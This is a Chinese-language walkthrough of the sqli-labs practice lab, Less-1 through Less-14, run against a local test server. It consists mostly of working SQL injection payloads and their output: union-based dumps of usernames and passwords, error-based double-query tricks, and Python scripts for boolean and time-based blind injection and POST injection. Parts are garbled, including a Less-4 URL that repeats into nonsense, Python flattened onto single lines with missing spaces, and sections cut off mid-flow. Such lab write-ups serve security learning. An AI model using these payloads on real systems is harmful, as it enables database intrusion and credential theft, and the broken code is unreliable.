You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
http://127.0.0.1:2333/Less-1/?id=-1' union select 1,TABLE_SCHEMA,group_concat(table_name) from information_schema.tables where table_schema like 'security'--+
Welcome Dhakkan
Your Login name:security Your Password:emails,referers,uagents,users
爆所有数据名。
1
select group_concat(SCHEMA_NAME) from information_schema.schemata;
得到当前库的所有表。
1
select group_concat(table_name) from information_schema.tables where table_schema=database();
得到表中所有的字段名。
1
select group_concat(column_name) from information_schema.columns where table_name='table_name';
得到字段具体的值。
1
select group_concat(column_name,' ',column_name) from table_name;
得到字段名。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
Welcome Dhakkan
Your Login name:2 Your Password:id,username,password
得到表中全部信息。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,group_concat(username,' ',password) from users --+
Welcome Dhakkan
Your Login name:2 Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4
Less-2 基于错误的GET整型注入
先在被挨打的边缘试探一下。
1 2 3 4 5
http://127.0.0.1:2333/Less-2/?id=1'
Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
根据返回的错误来看,没有数值即为整型注入,因为sql语句对于数字型的数据可以不加单引号闭合,不加注释,于是构造?id=1
and 1=1。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-2/?id=1 and 1=1
Welcome Dhakkan
Your Login name:Dumb Your Password:Dumb
有返回值,可以继续注入,后续步骤一如Less-1。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-2/?id=-1 union select 1,2,group_concat(username,' ',password) from users
Welcome Dhakkan
Your Login name:2 Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4
Less-3
基于错误的GET单引号变形字符型注入
再次在被挨打的边缘试探一下。
1 2 3 4 5
http://127.0.0.1:2333/Less-3/?id=1'
Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以知道后端的sql语句在接收的参数两边加上了小括号,于是构造如下语句。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-3/?id=-1') or '1'='1' --+
Welcome Dhakkan
Your Login name:Dumb Your Password:Dumb
然后还是像Less-1一样的后续。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-3/?id=-1') union select 1,2,group_concat(username,' ',password) from users--+
Welcome Dhakkan
Your Login name:2 Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4
Less-4
基于错误的GET双引号变形字符型注入
试探。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-4/?id=1'
Welcome Dhakkan
Your Login name:Dumb Your Password:Dumb
无报错信息,故推测单引号可能被双引号包含从而闭合,因此构造双引号闭合。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-4/?id=1") or 1=1 --+
Welcome Dhakkan
Your Login name:Dumb Your Password:Dumb
还是一样,故不赘述。
1 2 3 4 5 6
http://127.0.0.1:2333/Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--sLess-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--s+
Welcome Dhakkan
Your Login name:2 Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4
mysql> select count(*),concat(database(),floor(rand(0)*2)) as a from information_schema.tables group by a; ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key
mysql> select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)); ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key'
mysql> insert into users(id,username,password) VALUE (1,'test1','test1'); Query OK, 1 row affected (0.00 sec)
mysql> select count(*) from users group by concat(database(),floor(rand(0)*2)); +----------+ | count(*) | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)
执行多次没有报错,尝试增加数据再进行尝试,直到第三条数据插入后,出现了错误。
1 2
mysql> select count(*) from users group by concat(database(),floor(rand(0)*2)); ERROR 1062 (23000): Duplicate entry 'test1' for key 'group_key'
insert into users1(id,username,password) VALUE (1,'test1','test1'); Query OK, 1 row affected (0.00 sec)
mysql> select count(*) from users1 group by concat(database(),floor(rand()*2)); +----------+ | count(*) | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)
依旧执行多次没有报错。
在插入第二条数据测试后出现错误。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
mysql> select count(*) from users1 group by concat(database(),floor(rand()*2)); +----------+ | count(*) | +----------+ | 2 | +----------+ 1 row in set (0.00 sec)
mysql> select count(*) from users1 group by concat(database(),floor(rand()*2)); +----------+ | count(*) | +----------+ | 1 | | 1 | +----------+ 2 rows in set (0.00 sec)
mysql> select count(*) from users1 group by concat(database(),floor(rand()*2)); ERROR 1062 (23000): Duplicate entry 'test0' for key 'group_key'
http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select database()),'-----', floor(rand(0)*2)) --+
Welcome Dhakkan
Duplicate entry 'security-----1' for key 'group_key'
再构造语句查询表名。
1 2 3 4 5
http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'-----', floor(rand(0)*2)) --+
Welcome Dhakkan
Duplicate entry 'users-----1' for key 'group_key'
后面几乎和之前的一样,只要构造嵌套的第二个select语句即可。
1 2 3 4 5
http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),'-----', floor(rand(0)*2)) --+
Welcome Dhakkan
Duplicate entry 'id-----1' for key 'group_key'
这样从爆出全部字段。
1 2 3 4 5
http://127.0.0.1:2333/Less-5/?id=1' union select 1,1,count(*) as a from information_schema.tables group by concat((select concat(username,' ',password) from users limit 0,1),'-----', floor(rand(0)*2)) --+
Welcome Dhakkan
Duplicate entry 'Dumb Dumb-----1' for key 'group_key'
http://127.0.0.1:2333/Less-6/?id=1" union select 1,1,count(*) as a from information_schema.tables group by concat((select concat(username,' ',password) from users limit 0,1),'-----', floor(rand(0)*2)) --+
Welcome Dhakkan
Duplicate entry 'Dumb Dumb-----1' for key 'group_key'
0x02 GET导出文件注入
Less-7 基于导出文件的GET注入
相关补充
load_file()
该函数会读取文件并返回该文件的内容作为一个字符串,但有使用条件的限制。
必须有权限读取并且文件必须完全可读,**and (select count(*) from
mysql.user)>0**返回正常结果即有读写权限,反之亦然。
url = "http://127.0.0.1:2333/Less-8/" result = "" command = "select group_concat(table_name) from information_schema.tables where table_schema='security'" for i inrange(1, 40): payload = "?id=1' and if(ascii(substr(({command}),{position},1))>0,1,0) --+" r = requests.get(url=url + payload.format(command=command, position=str(i))) if"You are in"in r.text: # print i min = 0 max = 255 whilemin < max: # 注出第一个表的表名 payload = "?id=1' and if(ascii(substr(({command}),{position},1)){operator}{mid},1,0) --+" ifmax - min == 1: r = requests.get( url=url + payload.format(command=command, position=str(i), operator="=", mid=str(mid))) if"You are in"in r.text: break else: mid = max break else: mid = (max + min) // 2 r = requests.get( url=url + payload.format(command=command, position=str(i), operator=">", mid=str(mid))) if"You are in"in r.text: min = mid else: max = mid result += chr(mid) sys.stdout.write("\r%s" % result) sys.stdout.flush() else: break
获取表中字段数。
1 2 3 4 5 6 7 8 9 10
import requests
url = "http://127.0.0.1:2333/Less-8/" result = "" command = "select count(column_name) from information_schema.columns where table_schema='eight' and table_name='flag'" for i inrange(1, 40): payload = "?id=1' and ({command})={position} --+" r = requests.get(url=url + payload.format(command=command, position=str(i))) if"You are in"in r.text: print(i)
url = "http://127.0.0.1:2333/Less-9/" result = "" command = "select group_concat(username,' ',password) from users" i = 0 whileTrue: i += 1 startTime = time.time() payload = "?id=1' and if(ascii(substr(({command}),{position},1))>0,sleep(2),1) --+" r = requests.get(url=url + payload.format(command=command, position=str(i))) if time.time() - startTime > 2: for j inrange(32, 127): payload = "?id=1' and if(ascii(substr(({command}),{position},1))={mid},sleep(2),1) --+" startTime = time.time() r = requests.get( url=url + payload.format(command=command, position=str(i), mid=str(j))) if time.time() - startTime > 2: result += chr(j) break sys.stdout.write("\r%s" % result) sys.stdout.flush() else: break
Less-10
基于时间的GET双引号字符型盲注
。。没啥好说的,改个双引号闭合就行了。
0X04 POST单查询注入
Less-11
基于错误的POST单引号字符型注入
和Less-1大同小异,把get换成post罢了。
1 2 3 4 5 6 7 8 9 10
import requests
url = "http://127.0.0.1:2333/Less-11/" data = { "passwd": "1", "uname": "-1' union select 1,group_concat(username,',',password,'\n') from users #" }
r = requests.post(url=url, data=data) print r.text
Less-12
基于错误的POST双引号变形字符型注入
和Less-4大同小异,把get换成post罢了。
1 2 3 4 5 6 7 8 9 10
import requests
url = "http://127.0.0.1:2333/Less-12/" data = { "passwd": "1", "uname": '-1") union select 1,group_concat(username,",",password,"\n") from users #' }
r = requests.post(url=url, data=data) print r.text
0X05 POST双查询注入
Less-13
基于双查询的POST单引号变形字符型注入
原理同Less-5。
1 2 3 4 5 6 7 8 9 10
import requests
url = "http://127.0.0.1:2333/Less-13/" data = { "passwd": "1", "uname": "-1') union select 1,count(*) as a from information_schema.tables group by concat((select concat(username,',',password) from users limit 0,1),' ', floor(rand(0)*2)) #" }
r = requests.post(url=url, data=data) print r.text
Less-14
基于双查询的POST双引号字符型注入
原理同Less-5。
1 2 3 4 5 6 7 8 9 10
import requests
url = "http://127.0.0.1:2333/Less-14/" data = { "passwd": "1", "uname": '-1" union select 1,count(*) as a from information_schema.tables group by concat((select concat(username,",",password) from users limit 0,1)," ", floor(rand(0)*2)) #' }
r = requests.post(url=url, data=data) print r.text
User-Agent:客户端表明自己的身份【哪种客户端。如Mozilla/5.0
(Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.100 Safari/537.36。